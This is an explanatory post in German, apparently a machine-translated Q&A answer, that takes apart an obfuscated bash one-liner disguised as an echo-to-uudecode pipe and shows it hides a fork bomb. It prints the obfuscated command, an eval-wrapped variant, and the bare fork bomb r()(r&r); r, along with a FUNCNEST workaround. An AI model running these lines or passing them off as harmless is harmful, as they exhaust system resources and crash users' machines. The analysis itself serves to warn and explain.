Zuerst betrachten wir den gesamten Befehl:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Es enthält eine doppelte Anführungszeichenfolge, an die Echo gesendet wird uudecode
. Beachten Sie jedoch, dass sich in der doppelten Anführungszeichenfolge eine in Anführungszeichen stehende Zeichenfolge befindet. Diese Zeichenfolge wird ausgeführt . Die Zeichenfolge lautet:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Wenn wir uns das anschauen, sehen wir drei Befehle:
rYWdl & r()(Y29j & r{,3Rl7Ig} & r{,T31wo}) r
Durchführen Klammer Expansion auf dem mittleren Befehl, haben wir:
rYWdl & r()(Y29j & r r3Rl7Ig & r rT31wo) r
Die erste Zeile versucht, einen Unsinnbefehl im Hintergrund auszuführen. Das ist unwichtig.
Die zweite Zeile ist wichtig: Sie definiert eine Funktion, r
die beim Ausführen zwei Kopien von sich selbst startet. Jede dieser Kopien würde natürlich zwei weitere Kopien starten. Und so weiter.
Die dritte Linie läuft r
und die Gabelbombe startet.
Der Rest des Codes außerhalb der zurück zitierten Zeichenfolge ist für die Verschleierung nur Unsinn.
So führen Sie den Befehl sicher aus
Dieser Code kann sicher ausgeführt werden, wenn die Funktionsebene verschachtelt wird. Dies kann mit der bash- FUNCNEST
Variable erfolgen. Hier setzen wir es auf 2
und dies stoppt die Rekursion:
$ export FUNCNEST=2 $ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode bash: rYWdl: command not found bash: Y29j: command not found bash: r: maximum function nesting level exceeded (2) bash: r: maximum function nesting level exceeded (2) bash: r: maximum function nesting level exceeded (2) bash: Y29j: command not found bash: r: maximum function nesting level exceeded (2) bash: Y29j: command not found uudecode fatal error: standard input: Invalid or missing 'begin' line
Die obigen Fehlermeldungen zeigen, dass (a) die Unsinnbefehle rYWdl
und Y29j
nicht gefunden werden, (b) die Gabelbombe wiederholt von FUNCNEST gestoppt wird und (c) die Ausgabe von echo
nicht mit beginnt begin
und folglich keine gültige Eingabe für ist uudecode
.
Die Gabelbombe in ihrer einfachsten Form
Wie würde die Gabelbombe aussehen, wenn wir die Verschleierung entfernen würden? Wie njzk2 und gerrit vorschlagen, würde es wie folgt aussehen:
echo "`r()(r&r);r`"
Wir können das noch weiter vereinfachen:
r()(r&r); r
Das besteht aus zwei Anweisungen: Eine definiert die Gabelbombe-Funktion r
und die zweite Läufe r
.
Der gesamte andere Code, einschließlich der Pipe to uudecode
, diente nur zur Verschleierung und zur Fehlleitung.
Die ursprüngliche Form hatte noch eine weitere Fehlleitung
Das OP hat einen Link zur Channel-Diskussion gegeben, in der dieser Code erschienen ist. Wie dort dargestellt, sah der Code folgendermaßen aus:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Beachten Sie einen der ersten Kommentare zu diesem Code:
Ich bin darauf reingefallen. Es wurde nur der Teil kopiert, der wiederholt und entschlüsselt wird, aber dennoch mit einem Gabelbombe versehen wurde
In dem Formular auf der Channel-Karte würde man naiv denken, dass das Problem die eval
Anweisung sein würde, die auf die Ausgabe von wirkt uudecode
. Dies würde zu der Annahme führen, dass das Entfernen eval
das Problem lösen würde. Wie wir oben gesehen haben, ist dies falsch und gefährlich.